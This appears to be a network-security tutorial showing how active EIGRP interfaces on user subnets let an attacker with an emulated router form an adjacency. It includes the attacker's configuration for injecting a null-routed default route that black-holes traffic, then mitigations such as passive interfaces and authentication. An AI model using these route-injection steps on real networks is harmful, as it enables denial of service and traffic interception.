By default, any network interface advertised by an IGP is considered active for that protocol. This means that the router will send information out that interface in an attempt to advertise routes or form adjacencies with neighboring routers. While this provides a bit of convenience to the administrator, it also presents a gaping security hole if neighbor adjacencies are not securely authenticated.
Consider a simple network of three routers running EIGRP. R1 advertises a default route to routers 2 and 3, each of which attaches a user subnet.
All three routers have a minimal EIGRP configuration:
R2# show run | section eigrp router eigrp 100 network 10.0.0.0 no auto-summary
Note that network 10.0.0.0/8 encompasses all three interfaces on both R2 and R3. This means the user-facing interfaces (on which we should never see another router) are active in the EIGRP process along with the two neighbor-facing interfaces:
R2# show ip eigrp interfaces IP-EIGRP interfaces for process 100 Xmit Queue Mean Pacing Time Multicast Pending Interface Peers Un/Reliable SRTT Un/Reliable Flow Timer Routes Fa0/0 1 0/0 34 0/2 104 0 Fa0/1 1 0/0 35 0/2 156 0 Fa1/0 0 0/0 0 0/1 0 0
While this might seem inconsequential on the surface, remember that this means EIGRP hello packets are being multicast out Fa1/0 to the user subnet, and the router is listening for hellos from potential adjacent routers. As it stands right now, this network is completely vulnerable to an attacker in either user subnet wanting to manipulate its routing architecture.
The first step such an attacker would take is to sniff traffic on the local subnet. The hellos sent by R2 provide all the information (AS number and K values) necessary to form an EIGRP adjacency.
As I've discussed previously, Dynamips is an ideal tool for emulating routers for network penetration purposes. Using the information gleaned from the EIGRP packet capture, an attacker can bind an emulated IOS router to the physical interface of his device and configure it to form an adjacency with R2. R2 will view the attacker as a legitimate peer router.
The attacker's virtual router is configured similar to the "real" routers (it is assumed that F0/0 of the virtual router is bound to the physical interface of the host device):
interface FastEthernet0/0 ip address 10.0.1.123 255.255.255.0 ! router eigrp 100 network 10.0.0.0 no auto-summary
R2 and the attacker's router form an adjacency shortly after the physical connection is completed:
%DUAL-5-NBRCHANGE: IP-EIGRP(0) 100: Neighbor 10.0.1.123 (FastEthernet1/0) is up: new adjacency
We can verify that the attacker's router has received the entire EIGRP topology from R2:
Attacker# show ip route Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route Gateway of last resort is 10.0.1.1 to network 0.0.0.0 10.0.0.0/8 is variably subnetted, 5 subnets, 2 masks D 10.0.12.0/30 [90/76800] via 10.0.1.1, 00:00:25, FastEthernet0/0 D 10.0.13.0/30 [90/102400] via 10.0.1.1, 00:00:25, FastEthernet0/0 D 10.0.2.0/24 [90/79360] via 10.0.1.1, 00:00:25, FastEthernet0/0 C 10.0.1.0/24 is directly connected, FastEthernet0/0 D 10.0.23.0/30 [90/76800] via 10.0.1.1, 00:00:25, FastEthernet0/0 D*EX 0.0.0.0/0 [170/332800] via 10.0.1.1, 00:00:25, FastEthernet0/0
As IGPs have no concept of privilege separation, the attacker is now free to manipulate the network's routing table at will. For example, he could create a denial of service attack by injecting a default route pointing to himself with a better metric than the route advertised by R1, effectively black-holing all traffic bound for the Internet.
Attacker(config)# ip route 0.0.0.0 0.0.0.0 null0 Attacker(config)# router eigrp 100 Attacker(config-router)# redistribute static metric 10000000 1 255 1 1500
Routers 1 and 2 see the injected route as having a more favorable metric, and will now forward all traffic with no more-specific match in the routing table to the attacker.
R2# show ip route 0.0.0.0 Routing entry for 0.0.0.0/0, supernet Known via "eigrp 100", distance 170, metric 28416, candidate default path, type external Redistributing via eigrp 100 Last update from 10.0.1.123 on FastEthernet1/0, 00:02:17 ago Routing Descriptor Blocks: * 10.0.1.123, from 10.0.1.123, 00:02:17 ago, via FastEthernet1/0 Route metric is 28416, traffic share count is 1 Total delay is 110 microseconds, minimum bandwidth is 100000 Kbit Reliability 255/255, minimum MTU 1500 bytes Loading 1/255, Hops 1
This concept could easily be expanded to accomplish a man-in-the-middle (MITM) attack against the network, using a second line to forward the traffic on to its final destination.
The easiest and most effective solution is simply to designate any interfaces on which a neighbor shouldn't appear as passive interfaces.
R2(config)# router eigrp 100 R2(config-router)# passive-interface f1/0
A passive interface won't transmit any hello packets, and thus cannot form an adjacency. Although best practice dictates that access subnets shouldn't be used for transport of routing information between peers, the scenario may arise with no alternative. In these cases it is critical that the routing exchanges be securely authenticated. An intruder may still be able to sniff the routing exchanges (depending on your layer 2 setup), but authentication will mitigate unauthorized adjacencies. For even better security, configure the routing to take place over an encrypted tunnel between the two neighbors.